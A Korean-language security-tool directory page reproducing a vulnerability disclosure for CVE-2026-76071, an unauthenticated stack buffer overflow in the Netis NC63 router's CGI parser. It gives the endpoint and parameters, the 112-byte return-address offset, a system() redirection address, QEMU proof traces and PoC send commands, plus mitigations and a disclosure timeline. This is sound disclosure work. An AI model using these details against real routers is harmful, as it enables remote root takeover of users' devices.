Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-76071 — Netis NC63 ipFilterList 핸들러의 무제한 sscanf 스캔셋을 통한 인증 전 스택 버퍼 오버플로우에 대한 독창적인 연구 및 비파괴적 PoC | Kitploit
도구/GitHubGitHub/ozcanpng/cve-2026-76071
IoT SecurityVulnerability AnalysisExploitationReverse EngineeringBinary AnalysisFirmware Analysis
GitHubozcanpng/cve-2026-76071

CVE-2026-76071

Netis NC63 ipFilterList 핸들러의 무제한 sscanf 스캔셋을 통한 인증 전 스택 버퍼 오버플로우에 대한 독창적인 연구 및 비파괴적 PoC

저장소 보기
14일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-76071: Netis NC63의 skk_set.cgi ipFilterList 핸들러에서 sscanf %[^,]를 통한 인증되지 않은(Pre-Auth) 스택 버퍼 오버플로우

연구자: Özcan Ersan (@ozcanpng)

공개 상태

  • CVE: CVE-2026-76071
  • 공급업체: Netis Systems Co., Ltd.
  • 제품: Netis NC63 AC1200 Wireless Dual Band Gigabit MU-MIMO Router
  • 테스트된 펌웨어: NC63_V3.0.0.3327
  • 영향을 받는 구성 요소: /bin/netis.cgi
  • 엔드포인트: POST /cgi-bin/skk_set.cgi
  • 트리거: ipFilterList=mod
  • 동적으로 확인된 매개변수: destHost
  • 정적으로 동일 파서에 도달하는 매개변수: srcHost
  • 인증: 검증된 경로에서 인증이 필요 없거나 관찰되지 않음
  • 아키텍처: MIPS32r2 little-endian, o32 ABI, uClibc
  • 취약점 분류: 저장된 리턴 주소 제어가 가능한 스택 기반 버퍼 오버플로우
  • 검증: 격리된 QEMU 사용자 모드 런타임에서 원본 해시 프로덕션 CGI 사용
  • 작성 시점의 CVE 레코드 상태: 배정됨; CNA 레코드 세부 정보는 입력 대기 중

요약

Netis NC63 펌웨어 V3.0.0.3327의 일반 MIB/값 파서는 ipFilterList의 destHost 필드를 두 개의 %[^,] 스캔셋으로 파싱하지만 최대 필드 폭이 없습니다. 각 변환은 16바이트 로컬 스택 버퍼에 기록됩니다. 따라서 직접 HTTP 클라이언트는 쉼표가 없는 긴 구성 요소를 제출하여 함수의 저장된 제어 데이터를 덮어쓸 수 있습니다.

동적으로 테스트된 두 번째 destHost 구성 요소의 경우 저장된 ra는 로컬 버퍼로부터 정확히 112바이트 떨어져 있습니다. 원본 해시 CGI에 대한 QEMU 추적은 0x0040f7f4에서 공격자가 선택한 세 번째 진입을 확인했습니다. 별도의 관찰 전용 테스트는 리턴을 원본 system() PLT 경로인 0x00423ab0으로 리디렉션하면서 공격자가 제어하는 요청 데이터를 정확한 MIPS a0 인자로 유지했습니다. 보호된 /bin/sh는 마커를 기록하고 어떤 명령도 실행하지 않았습니다.

공개 PoC는 의도적으로 과도하게 긴 B 패턴만 포함합니다. 비공개 제어 전송 값이나 명령 경계 구성은 포함하지 않습니다.

영향을 받는 아티팩트 무결성

root@kitploit:~
193f6a5e2ce65972b1805bf076f8d3521379a8441c8aaeb5ad0ba174bbee0792  netis_NC63_V3.0.0.3327.bin
eb298774c27070dc595fefcabb4e8c12a46cb5f4fd08f91c3ca92282c3a289a2  squashfs-root/bin/netis.cgi
23faa747b7d2f067aa5431bcc227ceca97a7977cf3e7c372f715cbba57f9209b  squashfs-root/bin/boa
e3fd0ee3013014d59b14a409fb4ee5bb546e7d32413758ab3ad4fb0f0d3dcc47  squashfs-root/lib/libapmib.so

원본 프로덕션 해시

공격 표면 및 인증 상태

공급업체 프론트엔드는 srcHost와 destHost를 쉼표로 구분된 세 개의 구성 요소로 구성하여 ipFilterList와 함께 /cgi-bin/skk_set.cgi로 전송합니다:

root@kitploit:~
param.destHost = $("#dest_host").val();
param.destHost += "," + $("#dest_ip_1").val();
param.destHost += "," + $("#dest_ip_2").val();
param.ipFilterList = $("#ip_action").val();

request({
    url: "/cgi-bin/skk_set.cgi",
    data: param
});

공급업체 프론트엔드 요청 구성

검증된 HTTP 형식의 CGI 요청에는 Cookie 또는 Authorization 헤더가 포함되지 않았습니다. /tmp/boa_auth가 없었음에도 실행은 ipFilterList=mod 및 destHost 파서 경로로 계속 진행되었습니다. 메모리 손상 결함은 FUN_0040f7f4의 폭이 없는 스캔셋이며, 더 넓은 CGI 인증 실패는 이 권한 있는 핸들러를 인증 전에 노출시키는 조건입니다.

비인증 root CGI 경계

소스-싱크 추적

root@kitploit:~
Unauthenticated HTTP client
  |
  | POST /cgi-bin/skk_set.cgi
  | ipFilterList=mod
  | destHost=1,0.0.0.0,<long comma-free component>
  v
FUN_004138a0
  v
FUN_004134c8 (ipFilterList trigger row)
  v
FUN_00410898(request, "ipFilterList")
  v
FUN_0040f7f4(request, trigger, mib_table, pMib)
  |
  | get_request_param("destHost")
  v
sscanf(value, "%d,%[^,],%[^,]", ...)
  |
  | second destination: char[16]
  | no maximum scanset width
  v
saved fp overwrite -> saved ra overwrite -> controlled PC

원본 libapmib.so 메타데이터는 srcHost와 destHost를 모두 이 파서 케이스를 선택하는 유형 0x0c에 매핑합니다. 동적 검증은 destHost로 수행되었으며, srcHost는 별도의 동적 주장이 아닌 정적 동일 파서 커버리지로 포함됩니다.

핸들러 경로 및 원본 MIB 메타데이터

취약한 코드

정규화된 Ghidra 기반 의사 코드:

root@kitploit:~
case 0x0c:
    value = get_request_param(request, metadata_name);
    sscanf(value,
           "%d,%[^,],%[^,]",
           &selector,
           first_ip_component,   /* char[16] */
           second_ip_component); /* char[16] */

    *(char *)(destination + field_offset) = selector;
    inet_aton(first_ip_component, destination + field_offset + 1);
    inet_aton(second_ip_component, destination + field_offset + 5);
    break;

제한 없는 스캔셋 변환

sscanf() 자체가 취약점은 아닙니다. 결함은 %[^,]에 최대 필드 폭이 없어서 sscanf가 각 대상이 16바이트에 불과하다는 것을 알지 못한다는 점입니다. 용량을 고려한 형식은 %15[^,]와 같은 폭을 사용하고 정확히 세 번의 변환이 성공했는지 확인한 다음 파싱된 주소 값을 검증해야 합니다. 이는 예시적 완화 조치이지 공급업체 패치가 아닙니다.

스택 손상 분석

FUN_0040f7f4는 0x0040f7f4에서 시작하여 0x1d0바이트 프레임을 생성합니다:

root@kitploit:~
0040f7f4  addiu sp,sp,-0x1d0
0040f7f8  sw    ra,0x1cc(sp)
0040f7fc  sw    fp,0x1c8(sp)
0040f800  sw    s0,0x1c4(sp)

유형 0x0c 대상은 fp+0x14c와 fp+0x15c에 있습니다. 저장된 ra는 fp+0x1cc에 있어 두 번째 버퍼로부터의 정확한 거리는 다음과 같습니다:

root@kitploit:~
0x1cc - 0x15c = 0x70 = 112 bytes

스택 레이아웃 및 저장된 ra 오프셋

동적 검증

프로그램 카운터 제어

격리된 PC 증명은 112개의 패딩 바이트와 그 뒤에 0x0040f7f4의 리틀엔디언 하위 3바이트를 사용했습니다. sscanf 종결자가 네 번째 0바이트를 제공했습니다. QEMU는 두 번의 일반 파서 진입 후 덮어쓴 리턴 주소로 인한 세 번째 진입을 관찰했습니다:

root@kitploit:~
parser_entry_hit=3 pc=0x0040f7f4
GPR28: ... s8 41414141 ra 0040f7f4
total_parser_entry_hits=3
PASS: third parser entry is the overwritten saved RA.

제어된 세 번째 파서 진입

관찰 전용 명령 경계

별도의 비공개 검증은 원본 바이너리의 system() PLT 경로인 저장된 ra=0x00423ab0을 구성했습니다. 제어된 요청 키 접미사는 리턴 시 MIPS a0에 그대로 유지되었습니다. 일회용 런타임은 /bin/sh를 정적 로거로 대체했습니다:

root@kitploit:~
argv[0]=</bin/sh>
argv[1]=<-c>
argv[2]=<NC63_IPFILTER_RCE_PROOF>
CONTROLLED_MARKER_PREFIX_REACHED
PASS: attacker-controlled request data reached system() as exact a0.
PASS: guarded /bin/sh recorded argv and executed no command.

이는 격리된 프로덕션 코드 경로에서 RCE 프리미티브를 입증합니다. 실제 라우터의 정확한 익스플로잇 신뢰성, 커널 랜덤화 동작 및 기본 WAN 노출은 테스트되지 않았습니다.

런타임 조정 및 증거 경계

테스트된 netis.cgi는 프로덕션 아티팩트와 바이트 단위로 동일합니다. qemu-user에서는 플래시 기반 MIB 상태를 사용할 수 없기 때문에 일회용 rootfs는 0으로 채워진 MIB 상태를 할당하고 하나의 패킹된 필드 정렬을 조정한 공개된 실험실 전용 libapmib.so 조정을 사용했습니다. CGI, 요청 파서, 취약한 sscanf, 스택 프레임, 저장된 리턴 오프셋, 에필로그 또는 system() 경로는 변경하지 않았습니다. 정적 메타데이터는 원본 공급업체 libapmib.so에서 가져왔습니다.

원본 실행 파일은 고정 베이스이며 스택 카나리와 RELRO가 없고 실행 가능한 스택과 RWX 세그먼트를 가지고 있습니다. 이러한 속성은 익스플로잇 가능성 분석을 지원하지만 동적 PC 및 보호 경계 테스트를 대체하지는 않습니다.

바이너리 하드닝 상태

안전한 공개 PoC

URL 인코딩 본문의 드라이런 생성:

root@kitploit:~
python3 poc/poc.py

인가된 일회용 대상으로의 명시적 전송:

root@kitploit:~
python3 poc/poc.py --target http://192.168.1.1 --send

공개 스크립트는 115바이트 B 구성 요소를 사용하여 오버플로우 조건을 시연합니다. 전송 시 CGI 프로세스가 크래시될 수 있습니다. 명령 문자열, 셸코드, system 복귀 주소, 리버스 셸 또는 지속성은 포함하지 않습니다.

영향

익스플로잇에 성공하면 라우터 관리 컨텍스트에서 공격자가 선택한 명령을 실행할 수 있습니다. 원본 Boa 구성은 CGI를 root로 실행합니다. 잠재적 결과에는 라우터 구성 및 비밀 노출, DNS/방화벽/라우팅 조작, 트래픽 리디렉션, 서비스 중단 및 전체 장치 손상이 포함됩니다.

수정 방안

  1. 각 16바이트 대상에 %15[^,]를 사용하고 세 번의 변환 성공을 요구하십시오.
  2. 파싱 전에 과도하게 큰 직렬화된 호스트 값을 거부하십시오.
  3. 저장 전에 서버 측에서 두 IP 값을 모두 검증하십시오.
  4. 권한 있는 CGI 디스패치 전에 관리자 인증을 강제하십시오.
  5. 모든 메타데이터 파서 케이스에서 폭이 없는 %s 및 %[...]를 감사하십시오.
  6. 스택 카나리, PIE, NX 및 RELRO를 사용하여 재빌드하십시오.

증거 목록

evidence/README.md를 참조하십시오. 정규화된 의사 코드 및 명령어 증거는 attachments/decompiled-functions/에 있습니다.

공개 타임라인

  • 2026-08-16: 발견 및 격리된 프로덕션 바이너리 검증 완료.
  • 2026년 8월: VulnCheck에 보고.
  • 2026-08-20: VulnCheck가 CVE-2026-76071을 배정하고 공개 공개를 승인.
  • 2026-08-20: 공개 공개 패키지 게시.

참조

  • CVE-2026-76071
  • VulnCheck
  • Netis NC63 지원 페이지
  • CVE-2026-73673

실제 라우터에 플래싱된 것은 없습니다. 실제 명령, 셸코드, 리버스 셸, 지속성, 외부 네트워크 연결 또는 파괴적 작업은 사용되지 않았습니다.

도구 다운로드